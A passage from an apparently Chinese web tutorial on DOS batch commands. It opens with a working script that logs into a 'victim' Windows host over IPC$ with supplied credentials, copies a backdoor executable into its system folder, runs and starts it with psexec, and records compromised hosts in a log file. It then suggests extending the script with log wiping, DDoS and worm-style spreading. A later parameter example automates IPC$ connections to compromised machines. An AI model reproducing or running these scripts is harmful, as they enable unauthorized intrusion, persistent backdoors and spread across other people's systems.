不错的dos批处理命令详解第1/2页

2019-09-19 07:06:41王振洲

:end 
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- 




------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- 
@net use %1ipc$ %3 /u:"%2" 
@if errorlevel 1 goto failed 
@echo Trying to establish the IPC$ connection ............OK 
@copy windrv32.exe%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt 
@psexec %1 c:winntsystem32windrv32.exe 
@psexec %1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt 
:failed 
@echo Sorry can not connected to the victim. 
----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- 
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容 
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. 



二.如何在批处理文件中使用参数 
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。 
sample1:fomat.bat 
@echo off 
if "%1"=="a" format a: 
:format 
@format a:/q/u/auotset 
@echo please insert another disk to driver A. 
@pause 
@goto fomat 
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~ 
sample2: 
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。 
@echo off 
@net use 1%ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。 
@if errorlevel 1 echo connection failed 
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了.No.3 
三.如何使用组合命令(Compound Command) 



1.& 
相关文章 大家在看